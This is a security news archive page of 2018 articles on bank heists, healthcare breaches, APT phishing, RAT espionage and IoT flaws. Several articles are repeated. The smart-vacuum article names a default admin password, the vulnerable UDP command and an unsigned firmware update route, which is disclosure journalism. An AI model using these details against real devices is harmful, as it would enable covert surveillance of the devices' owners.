Category Archives: Hacking

Hackers attack Russian bank to steal $1m using an outdated router

By Waqas

Cybercriminals part of a notorious hacking group attacked the PIR Bank of Russia and stole $1m. The hacking was carried out after infiltrating the bank’s systems by compromising an old, outdated router. The router was installed at one of the regional branches of the bank. The money was stolen via the Automated Workstation Client (AWC) […]

This is a post from HackRead.com Read the original post: Hackers attack Russian bank to steal $1m using an outdated router

SingHealth, largest healthcare group in Singapore, suffered a massive data breach

SingHealth, the largest healthcare group in Singapore, suffered a massive data breach that exposed 1.5 Million patient records.

The largest healthcare group in Singapore, SingHealth, has suffered a massive data breach that exposed personal information of 1.5 million patients who visited the clinics of the company between May 2015 and July 2018. Stolen records include patient’s name, address, gender, race, date of birth, and National Registration Identity Card (NRIC) numbers.

SingHealth has 42 clinical specialties, a network of 2 Hospitals, 5 National Specialty Centres, 9 Polyclinics, and Bright Vision Community Hospital.

According to a data breach notification released by Singapore’s Ministry of Health (MOH), hackers stole personal information along with ‘information on the outpatient dispensed medicines’ of about 160,000 patients. Data belonging to Singapore’s Prime Minister Lee Hsien Loong and of other ministers have been exposed in the security breach.

“About 1.5 million patients who visited SingHealth’s specialist outpatient clinics and polyclinics from 1 May 2015 to 4 July 2018 have had their non-medical personal particulars illegally accessed and copied. The data taken include name, NRIC number, address, gender, race and date of birth. Information on the outpatient dispensed medicines of about 160,000 of these patients was also exfiltrated. The records were not tampered with, i.e. no records were amended or deleted.” reads the data breach notification.

“On 4 July 2018, IHiS’ database administrators detected unusual activity on one of SingHealth’s IT databases. They acted immediately to halt the activity,” 

SingHealth Singapore hack

According to Singapore’s authorities, the hackers specifically and repeatedly targeted Prime Minister Lee Hsien Loong’s data.

MOH explained that the data breach is the result of a targeted attack, local media speculate the involvement of a nation-state actor in the cyber attack.

“Investigations by the Cyber Security Agency of Singapore (CSA) and the Integrated Health Information System (IHiS)[1] confirmed that this was a deliberate, targeted and well-planned cyberattack. It was not the work of casual hackers or criminal gangs.” reads the press release.

Commenting on the cyber attack through a Facebook post published today,

Singapore’s Prime Minister declared the attackers are “extremely skilled and determined” and they have “huge resources” to conduct such cyber attacks repeatedly, a attacker’s profile that match with an APT group.

“I don’t know what the attackers were hoping to find. Perhaps they were hunting for some dark state secret or at least something to embarrass me. If so, they would have been disappointed,” Singapore PM said. “My medication data is not something I would ordinarily tell people about, but nothing is alarming in it.”  wrote Singapore’s Prime Minister.

“Those trying to break into our data systems are extremely skilled and determined. They have huge resources, and never give up trying. Government systems come under attack thousands of times a day. Our goal has to be to prevent every single one of these attacks from succeeding. If we discover a breach, we must promptly put it right, improve our systems, and inform the people affected.”

The good news for Singapore citizens is that no medical records were accessed by hackers.

All affected patients will be contacted by the healthcare institution over the next five days.

Pierluigi Paganini

(Security Affairs – SingHealth, data breach)

The post SingHealth, largest healthcare group in Singapore, suffered a massive data breach appeared first on Security Affairs.

Hack like a CISO

Developing the security officers’ processes, strategies and techniques for managing their time, resources and teams.I have written several times over the last couple of years about how the role of

The post Hack like a CISO appeared first on The Cyber Security Place.

Security Affairs: Experts discloses dangerous flaws in robotic Dongguan Diqee 360 smart vacuums

Positive Technologies discovered two flaws affecting Dongguan Diqee 360 smart vacuums that can be used to perform video surveillance.

Security researchers from Positive Technologies have discovered two vulnerabilities affecting Dongguan Diqee 360 smart vacuum cleaners that could be exploited by an attacker to run malicious code on a device with superuser privileges.

The flaws likely affect smart vacuum cleaners made by the company and sold under other brands as well, experts believe the issue could affect also other Dongguan devices, including DVRs, surveillance cameras, and smart doorbells.

“Like any other IoT device, these robot vacuum cleaners could be marshalled into a botnet for DDoS attacks, but that’s not even the worst-case scenario, at least for owners. Since the vacuum has Wi-Fi, a webcam with night vision, and smartphone-controlled navigation, an attacker could secretly spy on the owner” reads the post published by Positive Technologies.

The two vulnerabilities have been tracked as CVE-2018-10987 and CVE-2018-10988, the former could be exploited by a remote attacker meanwhile the latter needs physical access to the device.

The first bug can only be exploited by an authenticated attacker, but Positive Technologies says all Diqee 360 devices come with a default password of 888888 for the admin account, which very few users change, and which attackers can incorporate into their exploit chain.

smart vacuums

Once an authenticated attacker has discovered the vacuum on the network by obtaining its MAC address it will send a specially crafted UDP packet, and execute commands on the
vacuum cleaner as root. The bug resided in the function REQUEST_SET_WIFIPASSWD (UDP command 153).

” An attacker can discover the vacuum on the network by obtaining its MAC address and send a UDP request, which, if crafted in a specific way, results in execution of a command with superuser rights on the vacuum.” reads the report published by the experts.

“The vulnerability resides in the REQUEST_SET_WIFIPASSWD function (UDP command 153). To succeed, the attacker must authenticate on the device—which is made easier by the fact that many affected devices have the default username and password combination (admin:888888).”

The second vulnerability requires physical access to be triggered, it can be exploited by an attacker to load a tainted version of the firmware by inserting a microSD card into the vacuum.

“A microSD card could be used to exploit weaknesses in the vacuum’s update mechanism. After the card is inserted, the vacuum update system runs firmware files from the upgrade_360 folder with superuser rights, without any digital signature check. Therefore, a hacker could create a special script, place it on a microSD card in the upgrade_360 folder, insert this card, and restart the vacuum. This script could run arbitrary code, such as a sniffer to intercept private data sent over Wi-Fi by other devices.” states the post.

Positive Technologies responsibly reported the flaws in the smart vacuums to the company giving it the time to address the vulnerabilities, unfortunately, it does not have any information about whether or not the vulnerabilities have been fixed to date

Pierluigi Paganini

(Security Affairs – Smart vacuums, hacking)

The post Experts discloses dangerous flaws in robotic Dongguan Diqee 360 smart vacuums appeared first on Security Affairs.



Security Affairs

Experts discloses dangerous flaws in robotic Dongguan Diqee 360 smart vacuums

Positive Technologies discovered two flaws affecting Dongguan Diqee 360 smart vacuums that can be used to perform video surveillance.

Security researchers from Positive Technologies have discovered two vulnerabilities affecting Dongguan Diqee 360 smart vacuum cleaners that could be exploited by an attacker to run malicious code on a device with superuser privileges.

The flaws likely affect smart vacuum cleaners made by the company and sold under other brands as well, experts believe the issue could affect also other Dongguan devices, including DVRs, surveillance cameras, and smart doorbells.

“Like any other IoT device, these robot vacuum cleaners could be marshalled into a botnet for DDoS attacks, but that’s not even the worst-case scenario, at least for owners. Since the vacuum has Wi-Fi, a webcam with night vision, and smartphone-controlled navigation, an attacker could secretly spy on the owner” reads the post published by Positive Technologies.

The two vulnerabilities have been tracked as CVE-2018-10987 and CVE-2018-10988, the former could be exploited by a remote attacker meanwhile the latter needs physical access to the device.

The first bug can only be exploited by an authenticated attacker, but Positive Technologies says all Diqee 360 devices come with a default password of 888888 for the admin account, which very few users change, and which attackers can incorporate into their exploit chain.

smart vacuums

Once an authenticated attacker has discovered the vacuum on the network by obtaining its MAC address it will send a specially crafted UDP packet, and execute commands on the
vacuum cleaner as root. The bug resided in the function REQUEST_SET_WIFIPASSWD (UDP command 153).

” An attacker can discover the vacuum on the network by obtaining its MAC address and send a UDP request, which, if crafted in a specific way, results in execution of a command with superuser rights on the vacuum.” reads the report published by the experts.

“The vulnerability resides in the REQUEST_SET_WIFIPASSWD function (UDP command 153). To succeed, the attacker must authenticate on the device—which is made easier by the fact that many affected devices have the default username and password combination (admin:888888).”

The second vulnerability requires physical access to be triggered, it can be exploited by an attacker to load a tainted version of the firmware by inserting a microSD card into the vacuum.

“A microSD card could be used to exploit weaknesses in the vacuum’s update mechanism. After the card is inserted, the vacuum update system runs firmware files from the upgrade_360 folder with superuser rights, without any digital signature check. Therefore, a hacker could create a special script, place it on a microSD card in the upgrade_360 folder, insert this card, and restart the vacuum. This script could run arbitrary code, such as a sniffer to intercept private data sent over Wi-Fi by other devices.” states the post.

Positive Technologies responsibly reported the flaws in the smart vacuums to the company giving it the time to address the vulnerabilities, unfortunately, it does not have any information about whether or not the vulnerabilities have been fixed to date

Pierluigi Paganini

(Security Affairs – Smart vacuums, hacking)

The post Experts discloses dangerous flaws in robotic Dongguan Diqee 360 smart vacuums appeared first on Security Affairs.

MoneyTaker hacking group stole 1 million US dollars from Russian PIR Bank

The cybersecurity firm Group-IB is involved in the incident response on an attack on the Russian PIR Bank conducted by MoneyTaker hacking group.

MoneyTaker hacker group has stolen 1 million US dollars from the Russian bank, the cyber heist occurred on July 3 through the Russian Central Bank’s Automated Workstation Client (an interbank fund transfer system similar to SWIFT).

Crooks transferred the money to 17 accounts at major Russian banks and cashed out, then tried to ensure persistence in the bank’s network for later attacks. The bank hired Group-IB in order to respond to the incident and limit the damages.

According to Kommersant newspaper, the MoneyTaker hacking group stole around $920,000 (which is a conservative estimate) from the Russian bank. The PIR Bank officially confirmed the attack, but it was unable to determine the exact amount of money stole by the attackers.

Even if the bank managed to delay the withdrawal of the stolen funds, most of them are lost. 

“During the incident, Group-IB specialists established the source of the attack, built a chain of events, and isolated the problem as soon as it was feasible. At the moment, the bank is operating normally, all Group-IB recommendations are applied and will be applied to the bank’s operations in the future in order to prevent new similar incidents,” said Olga Kolosova, Chairperson of the Management Board of PIR Bank LLC.

Forensics analysis of workstations and servers at the bank revealed that the attack was launched by the MoneyTaker hacker group. The hackers used specific tools and techniques that had been used earlier by MoneyTaker in previous attacks on financial institutions. The experts also noticed that the IP addresses of their C&C servers were the same used in previous attacks.

MoneyTaker is a cybercrime gang specialized in targeted attacks on financial institutions, in December 2017 Group-IB published a detailed report on its activity (MoneyTaker: 1.5 Years of Silent Operations). The group is focused on card processing and interbank transfer systems (AWS CBR and SWIFT).

MoneyTaker hacker group

The MoneyTaker group has been active at least since spring 2016 when they stole money from a U.S. bank after gaining access to the card processing system (FirstData’s STAR processing system). After that, the hackers went in the dark for almost 4 months and only attacked banks in Russia in September 2016.

Group-IB recorded 10 MoneyTaker attacks against organizations in the U.S., UK, and Russia. Since 2017, the group restricted the geography of the attacks to Russia and the U.S.

In 2018, Group-IB tracked two MoneyTaker attacks in Russia. 

“MoneyTaker has its own set of specific TTPs. The hackers try to go unnoticed, use ‘one-time’ infrastructure, ‘fileless’ software and carefully cover up traces of their presence. This involves specific usages of Metasploit and PowerShell Empire frameworks.” states Group-IB.

Back to the PIR Bank attack, Group-IB confirmed that the attack on PIR Bank started in late May 2018. Hackers gained access to the bank by compromising router used by one of the bank’s regional branches.

“The router had tunnels that allowed the attackers to gain direct access to the bank’s local network. This technique is a characteristic of MoneyTaker. This scheme has already been used by this group at least three times while attacking banks with regional branch networks.” reads the press release published by Group-IB.

MoneyTaker group use PowerShell scripts to establish persistence in the banks’ systems and automate some stages of their attack. Once the crooks have hacked the bank’s main network, they managed to gain access to AWS CBR (Automated Work Station Client of the Russian Central Bank) to generate payment orders and send money in several tranches to mule accounts prepared in advance.

On the evening of July 4, bank IT staff discovered the unauthorized transactions with large sums, it quickly asked the regulator to block the AWS CBR digital signature keys, but it was not possible to stop the financial transfers in time.

Most of the stolen money was transferred to cards of the 17 largest banks on the same day and immediately cashed out by money mules involved in the final stage of money withdrawal from ATMs.

MoneyTaker hackers cleared OS logs on many computers, which was meant to hinder the response to the incident and its subsequent investigation, a technique already observed in other attacks.

“Moreover, the criminals left some so-called ‘reverse shells’, programs that connected the hackers’ servers from the bank’s network and waited for new commands to conduct new attacks and gain the access to the network. During incident response this was detected by Group-IB employees and removed by the bank’s sysadmins.”  added Group-IB.

This is not the first successful attack on a Russian bank with money withdrawal since early 2018,” says Valeriy Baulin, Head of Digital Forensics Lab Group-IB, We know of at least three similar incidents, but we cannot disclose any details before our investigations are completed. As for withdrawal schemes, each group specializing in targeted attacks – Cobalt, Silence and MoneyTaker (these have been the most active groups in 2018) – have their own scheme depending on the amounts and cashout scenarios. We should understand that attacks on AWS CBR are difficult to implement and are not conducted very often, because many hackers just cannot ‘work on computers with AWS CBR’ successfully. A 2016 incident, when МoneyTaker hackers withdrew about $2 million using their own self-titled program, remains one of the largest attacks of this kind.”

Pierluigi Paganini

(Security Affairs – MoneyTaker hacking group, cybercrime)

The post MoneyTaker hacking group stole 1 million US dollars from Russian PIR Bank appeared first on Security Affairs.

Microsoft uncovered and stopped attempts to launch spear-phishing attacks on three 2018 congressional candidates

Microsoft helped the US Government is protecting at least three 2018 midterm election candidates from attacks of Russian cyberspies.

Microsoft revealed that Russian cyberspies attempted to hack at least three 2018 midterm election candidates and it has helped the US government to repeal their attacks.

A Microsoft executive speaking at the Aspen Security Forum revealed the hacking attempts against at least three unnamed congressional candidates, all the attacks were detected this year,

The company executive only added that the three candidates were “people who, because of their positions, might have been interesting targets from an espionage standpoint as well as an election disruption standpoint.”

The hackers sent spear-phishing messages to the candidates, the messages included links to a fake Microsoft website used by the cyberspies to trick victims into providing their credentials.

“Earlier this year, we did discover that a fake Microsoft domain had been established as the landing page for phishing attacks,” said Tom Burt, Microsoft’s vice president for customer security.

“And we saw metadata that suggested those phishing attacks were being directed at three candidates who are all standing for election in the midterm elections.”

Once Microsoft discovered the phishing website it has taken down it and helped the US government to “avoid anybody being infected by that particular attack.”

Microsoft blamed the Russian APT28 group for the attacks.

We “discovered that the [fake domains] were being registered by an activity group that at Microsoft we call Strontium…that’s known as Fancy Bear or APT 28,” Burt explained.

“The consensus of the threat intelligence community right now is [that] we do not see the same level of activity by the Russian activity groups leading into the mid-year elections that we could see when we look back at them at that 2016 elections,” 

Microsoft APT28

Burt compared the recent activities with the hacking campaign conducted to interfere with the 2016 Presidential election, he pointed out that differently from 2016 campaigns, 2018 attacks do not target think tanks and academic experts that they did during the 2016 presidential election.

“That does not mean we’re not going to see it, there is a lot of time left before the election.” Burt added.

Pierluigi Paganini

(Security Affairs – APT28, congressional candidates)

The post Microsoft uncovered and stopped attempts to launch spear-phishing attacks on three 2018 congressional candidates appeared first on Security Affairs.

Security Affairs: Microsoft uncovered and stopped attempts to launch spear-phishing attacks on three 2018 congressional candidates

Microsoft helped the US Government is protecting at least three 2018 midterm election candidates from attacks of Russian cyberspies.

Microsoft revealed that Russian cyberspies attempted to hack at least three 2018 midterm election candidates and it has helped the US government to repeal their attacks.

A Microsoft executive speaking at the Aspen Security Forum revealed the hacking attempts against at least three unnamed congressional candidates, all the attacks were detected this year,

The company executive only added that the three candidates were “people who, because of their positions, might have been interesting targets from an espionage standpoint as well as an election disruption standpoint.”

The hackers sent spear-phishing messages to the candidates, the messages included links to a fake Microsoft website used by the cyberspies to trick victims into providing their credentials.

“Earlier this year, we did discover that a fake Microsoft domain had been established as the landing page for phishing attacks,” said Tom Burt, Microsoft’s vice president for customer security.

“And we saw metadata that suggested those phishing attacks were being directed at three candidates who are all standing for election in the midterm elections.”

Once Microsoft discovered the phishing website it has taken down it and helped the US government to “avoid anybody being infected by that particular attack.”

Microsoft blamed the Russian APT28 group for the attacks.

We “discovered that the [fake domains] were being registered by an activity group that at Microsoft we call Strontium…that’s known as Fancy Bear or APT 28,” Burt explained.

“The consensus of the threat intelligence community right now is [that] we do not see the same level of activity by the Russian activity groups leading into the mid-year elections that we could see when we look back at them at that 2016 elections,” 

Microsoft APT28

Burt compared the recent activities with the hacking campaign conducted to interfere with the 2016 Presidential election, he pointed out that differently from 2016 campaigns, 2018 attacks do not target think tanks and academic experts that they did during the 2016 presidential election.

“That does not mean we’re not going to see it, there is a lot of time left before the election.” Burt added.

Pierluigi Paganini

(Security Affairs – APT28, congressional candidates)

The post Microsoft uncovered and stopped attempts to launch spear-phishing attacks on three 2018 congressional candidates appeared first on Security Affairs.



Security Affairs

Thousands of Mega account credentials leaked online, it is credential stuffing

Thousands of account credentials associated with the popular file storage service Mega have been published online,

The former NSA hacker Patrick Wardle, co-founder at Digita Security, discovered in June a text file containing over 15,500 usernames, passwords, and files names.

The presence of the files suggests that the threat actors that collected them also accessed to each account and listed its content.

Wardle discovered the file after it was uploaded to the VirusTotal service some months earlier by a user purportedly in Vietnam.

Wardle passed the data to ZDNet that verified the huge trove of data belongs to the Mega service.

ZDNet contacted many users that confirmed the authenticity of the content of the file.

The data appears to date back to 2013, when Kim Dotcom launched the service.

Mega

ZDNet asked the popular expert Troy Hunt, who runs the data breach notification site Have I Been Pwned, to analyze the files.

Hunt believes the hackers collected the credentials from other data breaches (credential stuffing).

98 percent of the addresses in the file had already been included in a previous data breach and listed in the Hunt’ service.

“Some 87 percent of the accounts in the Mega file were found in a massive collection of 2,844 data breaches that he uploaded to the service in February, said Hunt.” read the post published by ZDNet.

“Of those we contacted, five said that they had used the same password on different sites.”

Mega chairman Stephen Hall also confirmed the file is the result of credential stuffing.

Experts noticed the Mega service doesn’t implement two-factor authentication -making it easy for attackers to access an account once it will obtain the credentials from other breaches.

Mega logs the IP address of each user who accesses to an account and some users confirmed to have noticed suspicious logins accessing their account from countries in Eastern Europe, Russia, and South America since the file was uploaded.

“One of the accounts in the file contained file listings for what appeared to describe child abuse content. Given the nature of the account’s content, ZDNet informed the authorities.” continues ZDNet.

The illegal content was uploaded years earlier, suggesting that the account owner has store excluding any recent third-party involvement.

“Mega has zero tolerance for child sexual abuse materials,” said Hall. “Any reports result in links being deactivated immediately, the user’s account closed and the details provided to the authorities.”

“Mega can’t act as censor by examining content as it is encrypted at the user’s device before being transferred to Mega,” he said. “As well as it being technically impossible, it is also practically infeasible for Mega and other major cloud storage providers, with 100s of files being uploaded each second.”

Pierluigi Paganini

(Security Affairs – Mega, credential stuffing)

The post Thousands of Mega account credentials leaked online, it is credential stuffing appeared first on Security Affairs.

Algonquin College Data Breach Exposed Details Of More Than 111,000 Individuals

Recently, we have reported how various firms exposed their customer’s data online due to vulnerabilities. One such recent example is

Algonquin College Data Breach Exposed Details Of More Than 111,000 Individuals on Latest Hacking News.

CarePartners Data Breach Update: Hackers Hold The Data To Ransom

Last month, CarePartners announced it faced a data breach. However at the time it did not explain any details about

CarePartners Data Breach Update: Hackers Hold The Data To Ransom on Latest Hacking News.

Cisco fixes critical and high severity flaws in Policy Suite and SD-WAN products

Cisco has found over a dozen critical and high severity vulnerabilities in its Policy Suite, SD-WAN, WebEx and Nexus products.

The tech giant has reported customers four critical vulnerabilities affecting the Policy Suite.

The flaws tracked as CVE-2018-0374CVE-2018-0375CVE-2018-0376, and CVE-2018-0377 have been discovered during internal testing.

Two of these flaws could be exploited by a remote unauthenticated attacker to access the Policy Builder interface and the Open Systems Gateway initiative (OSGi) interface.

The access to the Policy Builder interface could allow an attacker to change to existing repositories and create new ones, while the access to the OSGi interface could allow an attacker to access or change any file accessible by the OSGi process.

An unauthenticated attacker could also allow an attacker to modify any data contained in the Policy Builder database.

“A vulnerability in the Policy Builder database of Cisco Policy Suite could allow an unauthenticated, remote attacker to connect directly to the Policy Builder database.” reads the security advisory published by Cisco.

“The vulnerability is due to a lack of authentication. An attacker could exploit this vulnerability by connecting directly to the Policy Builder database. A successful exploit could allow the attacker to access and change any data in the Policy Builder database.”

CISCO Policy Suite

Cisco also warned of the presence of the Cluster Manager in Policy Suite of a root account with default and static credentials. A remote attacker can exploit the vulnerabilities to access to the account and execute arbitrary commands with root privileges.

Cisco also warned of the presence of seven flaws in the SD-WAN solution, one of them affects the Zero Touch Provisioning service and could be exploited by an unauthenticated attacker to trigger denial-of-service (DoS) condition.

Other SD-WAN vulnerabilities could allow an authenticated attacker to overwrite arbitrary files on the underlying operating system, and execute arbitrary commands with vmanage or root privileges.

Cisco also reported a high severity DoS vulnerability that affects Nexus 9000 series Fabric switches, the issue resides in the implementation of the DHCPv6 feature.

Cisco fixed all the vulnerabilities and confirmed that none of them has been exploited in attacks in the wild.

Pierluigi Paganini

(Security Affairs – Cisco Policy Suite, security)

The post Cisco fixes critical and high severity flaws in Policy Suite and SD-WAN products appeared first on Security Affairs.

Security Affairs: How crooks conduct Money Laundering operations through mobile games

Experts uncovered a money laundering ring that leverages fake Apple accounts and gaming profiles to make transactions with stolen payment cards.

A money laundering ring leverages fake Apple accounts and gaming profiles to make transactions with stolen payment cards and then sells these game premiums on online forums and within gaming communities.

The money laundering operation was unveiled by the US Department of Justice, the investigation started in mid-June when the experts from Kromtech Security discovered a MongoDB database exposed online. The database was containing information related to carders’ activities, the database contained 150,833 unique cards records (card number, expiration date, and CCV)

“Following our MongoDB investigations and honey pots deployments from the beginning of this year, we did another round of security audit of unprotected MongoDB instances. In June 2018 we have spotted a strange database publicly exposed to the public internet (no password/login required) along with a large number of credit card numbers and personal information inside.” reads the blog post published by Kromtech Security.

“As we examined the database we rapidly became aware that this was not your ordinary corporate database, this database appeared to belong to credit card thieves (commonly known as carders) and that it was relatively new, only a few months old. So we dug much deeper.”

The activity of the criminal gang behind the operation is simple as effective. Crooks used a special tool to create iOS accounts using valid emails accounts, then they associated with the accounts the stolen payment cards. Most of the created accounts are specific to users located in Saudi Arabia, India, Indonesia, Kuwait, and Mauritania.

The group then made the jailbreaking of iOS devices to install various games, create in-game accounts, and use them to purchase game features or premiums.

The cash out was made later when crooks re-sold the game features or premiums online for real money.

Experts found credit cards belong to 19 different banks, they speculated they were probably bought on the specific carder markets where they were offered in groups of 10k, 20k, 30k.

The list of mobile games used by the cybercriminals includes popular apps such as Clash of Clans and Clash Royale developed by Supercell, and Marvel Contest of Champions developed by Kabam.

The three apps have a gaming community of over 250 million users and generate approximately $330 million USD a year in revenue.  Associated third-party markets are very active, websites like g2g.com to allow gamers to buy and sell resources and games, a great opportunity for crooks involved in money laundering.

money laundering games

“It is interesting to note that these three games are not even in the top five games. Scaling this scheme across other popular apps and games with in-app purchases places the potential market well into the billions of dollars USD per year.” reported Kromtech Security.

App Offered by Android Users Release Metacritic score In-app Products price per item Daily revenue $

Yearly revenue

()

Clash of Clans Supercell 100 000 000+ 2012 74/100 $0.99 – $99.99 per item 684 002 250M
Clash Royale Supercell 100 000 000+ 2016 86/100 $0.99 – $99.99 per item 153 150 56M
Marvel Contest of Champions Kabam 50 000 000+ 2014 76/100 $0.99 – $99.99 per item 64 296 23.5M

The experts also found that the Apple was employing lax credit card verification process when users add payment card data to iOS accounts, advantaging fraudulent activities. The experts noticed that cards with improper names and addresses were approved by Apple, for this reason, they notified their discovery to Apple.

The experts also highlighted that game makers do not implement necessary measures to prevent such kind of abuses. For example, the game makers do not control the interaction of tools like Racoonbot with Supercell games that are used to automate the premium feature buying operations.

“Raccoonbot.com is an automated bot dedicated to Supercell’s Clash of the Clans.  It advertises itself in it’s forum as a way to “Become rich at Clash of the Clans”.  This is done by automating the game and selling the gems. It can potentially be used in conjunction with MaxTooliOS to further enhance the profit from the stolen credit cards.  It’s a direct violation of Supercell policy, it aids in laundering money, and it also remains in operation.” continues the analysis.

iGameSupply is an approved marketplace for selling Racoonbot generated gems https://www.raccoonbot.com/forum/forum/80-approved-marketplace/

Pierluigi Paganini

(Security Affairs – gaming, money laundering)

The post How crooks conduct Money Laundering operations through mobile games appeared first on Security Affairs.



Security Affairs

How crooks conduct Money Laundering operations through mobile games

Experts uncovered a money laundering ring that leverages fake Apple accounts and gaming profiles to make transactions with stolen payment cards.

A money laundering ring leverages fake Apple accounts and gaming profiles to make transactions with stolen payment cards and then sells these game premiums on online forums and within gaming communities.

The money laundering operation was unveiled by the US Department of Justice, the investigation started in mid-June when the experts from Kromtech Security discovered a MongoDB database exposed online. The database was containing information related to carders’ activities, the database contained 150,833 unique cards records (card number, expiration date, and CCV)

“Following our MongoDB investigations and honey pots deployments from the beginning of this year, we did another round of security audit of unprotected MongoDB instances. In June 2018 we have spotted a strange database publicly exposed to the public internet (no password/login required) along with a large number of credit card numbers and personal information inside.” reads the blog post published by Kromtech Security.

“As we examined the database we rapidly became aware that this was not your ordinary corporate database, this database appeared to belong to credit card thieves (commonly known as carders) and that it was relatively new, only a few months old. So we dug much deeper.”

The activity of the criminal gang behind the operation is simple as effective. Crooks used a special tool to create iOS accounts using valid emails accounts, then they associated with the accounts the stolen payment cards. Most of the created accounts are specific to users located in Saudi Arabia, India, Indonesia, Kuwait, and Mauritania.

The group then made the jailbreaking of iOS devices to install various games, create in-game accounts, and use them to purchase game features or premiums.

The cash out was made later when crooks re-sold the game features or premiums online for real money.

Experts found credit cards belong to 19 different banks, they speculated they were probably bought on the specific carder markets where they were offered in groups of 10k, 20k, 30k.

The list of mobile games used by the cybercriminals includes popular apps such as Clash of Clans and Clash Royale developed by Supercell, and Marvel Contest of Champions developed by Kabam.

The three apps have a gaming community of over 250 million users and generate approximately $330 million USD a year in revenue.  Associated third-party markets are very active, websites like g2g.com to allow gamers to buy and sell resources and games, a great opportunity for crooks involved in money laundering.

money laundering games

“It is interesting to note that these three games are not even in the top five games. Scaling this scheme across other popular apps and games with in-app purchases places the potential market well into the billions of dollars USD per year.” reported Kromtech Security.

App Offered by Android Users Release Metacritic score In-app Products price per item Daily revenue $

Yearly revenue

()

Clash of Clans Supercell 100 000 000+ 2012 74/100 $0.99 – $99.99 per item 684 002 250M
Clash Royale Supercell 100 000 000+ 2016 86/100 $0.99 – $99.99 per item 153 150 56M
Marvel Contest of Champions Kabam 50 000 000+ 2014 76/100 $0.99 – $99.99 per item 64 296 23.5M

The experts also found that the Apple was employing lax credit card verification process when users add payment card data to iOS accounts, advantaging fraudulent activities. The experts noticed that cards with improper names and addresses were approved by Apple, for this reason, they notified their discovery to Apple.

The experts also highlighted that game makers do not implement necessary measures to prevent such kind of abuses. For example, the game makers do not control the interaction of tools like Racoonbot with Supercell games that are used to automate the premium feature buying operations.

“Raccoonbot.com is an automated bot dedicated to Supercell’s Clash of the Clans.  It advertises itself in it’s forum as a way to “Become rich at Clash of the Clans”.  This is done by automating the game and selling the gems. It can potentially be used in conjunction with MaxTooliOS to further enhance the profit from the stolen credit cards.  It’s a direct violation of Supercell policy, it aids in laundering money, and it also remains in operation.” continues the analysis.

iGameSupply is an approved marketplace for selling Racoonbot generated gems https://www.raccoonbot.com/forum/forum/80-approved-marketplace/

Pierluigi Paganini

(Security Affairs – gaming, money laundering)

The post How crooks conduct Money Laundering operations through mobile games appeared first on Security Affairs.

US Biggest Blood Testing Laboratories LabCorp suffered a security breach

Hackers have breached the network at LabCorp, one of the largest diagnostic blood testing laboratories in the US, millions of Americans potentially at risk.

The biggest blood testing laboratories network in the US, LabCorp has suffered a security breach. The company announced the incident on Monday, the security breach occurred over the weekend.

The hackers breached into the LabCorp Diagnostic systems, but the company says there’s no indication that attackers compromised also the systems used by its drug development business Covance.

“At this time, there is no evidence of unauthorized transfer or misuse of data. LabCorp has notified the relevant authorities of the suspicious activity and will cooperate in any investigation,” it said, in its statement.

LabCorp did not share further details about the security breach, in response to the incident the company shut down part of its infrastructure.

“LabCorp immediately took certain systems offline as part of its comprehensive response to contain the activity,” the firm said in 8-K filed with the Securities and Exchange Comission.

“This temporarily affected test processing and customer access to test results over the weekend. Work has been ongoing to restore full system functionality as quickly as possible, testing operations have substantially resumed today, and we anticipate that additional systems and functions will be restored through the next several days,” 

Biggest Blood Testing Laboratories LabCorp

Mike Thomas, a technologist at LabCorp, works with patient samples at the company’s location in Burlington. JULIE KNIGHT – Source www.bizjournals.com

The company is currently testing operations that have been resumed, other suctions will be fully restored in the next days, meantime some customers may face brief delays.

“We anticipate that additional systems and functions will be restored throughout the next several days,” it added. “Some customers of LabCorp Diagnostics may experience brief delays in receiving results as we complete that process.”

The hack might have severe consequences for millions of Americans due to the potential extent of the breached networks that connects thousands of hospitals and testing facility offices worldwide.

Pierluigi Paganini

(Security Affairs – LabCorp, Data breach)

The post US Biggest Blood Testing Laboratories LabCorp suffered a security breach appeared first on Security Affairs.

QUASAR, SOBAKEN AND VERMIN RATs involved in espionage campaign on Ukraine

Security experts from ESET uncovered an ongoing cyber espionage campaign aimed at Ukrainian government institutions and involving three different RATs, including the custom-made VERMIN.

Security researchers from ESET uncovered an ongoing cyber espionage campaign aimed at Ukrainian government institutions, attackers used at least three different remote access Trojans (RATs).

The campaign was first spotted in January by experts from PaloAlto Networks when the researchers discovered a new piece of malware tracked VERMIN RAT targeting Ukraine organizations.

“Pivoting further on the initial samples we discovered, and their infrastructure, revealed a modestly sized campaign going back to late 2015 using both Quasar RAT and VERMIN.” reads the report from PaloAlto Networks.

VERMIN RAT 2

Back to the present, the experts discovered that the attackers used several RATs to steal sensitive documents, the researchers collected evidence of the involvement of the Quasar RAT, Sobaken RAT, and Vermin.

The Quasar RAT is available for free on GitHub, many other attackers used it in their campaigns, including the Gaza Cybergang, which is also known as Gaza Hackers Team and Molerats. Sobaken is an improved version of Quasar RAT, that includes several anti-sandbox and other evasion mechanisms.

The RATs have been used against different targets at the same time, experts noticed they share some infrastructure and connect to the same C&C servers.

VERMIN RAT

The threat actors don’t have advanced skills, their attack vector is spear phishing messages and they have been quite successful in using social engineering to lure victims into opening the email and downloading and executing the malicious codes.

“Even though these threat actors don’t seem to possess advanced skills or access to 0-day vulnerabilities, they have been quite successful in using social engineering to both distribute their malware and fly under the radar for extended periods of time.” Reads the analysis published by ESET.

“We were able to trace attacker activity back to October 2015; however, it is possible that the attackers
have been active even longer. These attackers use three different .NET malware strains in their attacks – Quasar RAT, Sobaken (a RAT derived from Quasar) and a custom-made RAT called Vermin. All three malware strains have been in active use against different targets at the same time, they share some infrastructure and connect to the same C&C servers.”

Some emails carried weaponized Word documents attempting to exploit CVE-2017-0199, attackers used a dropper masquerades as a legitimate software (i.e. Adobe, Intel or Microsoft) to deliver the final payload.

The threat actors used a scheduled task that executes the malware every 10 minutes to achieve persistence on the infected machine.

“The installation procedure is the same for all three malware strains used by these attackers. A dropper drops a malicious payload file (Vermin, Quasar or Sobaken malware) into the %APPDATA% folder, in a subfolder named after a legitimate company (usually Adobe, Intel or Microsoft).” continues the report.

“Then it creates a scheduled task that runs the payload every 10 minutes to ensure its persistence.”

Since mid-2017, the threat actors adopted steganography to bypass content filtering by hiding the payloads in images that were hosted on the free image hosting websites saveshot.net and ibb.co.

The malicious code executed only on hosts where the Russian or Ukrainian keyboard layouts are installed, it also checks the IP address and the username on the target machine.

To avoid automated analysis systems, that often use tools like Fakenet-NG where all DNS/HTTP communication succeeds and returns some result, the malware generates a random
website name/URL and attempt to connect it. If the connection fails in some cases the system could be considered real and not a virtualized environment used by researchers.

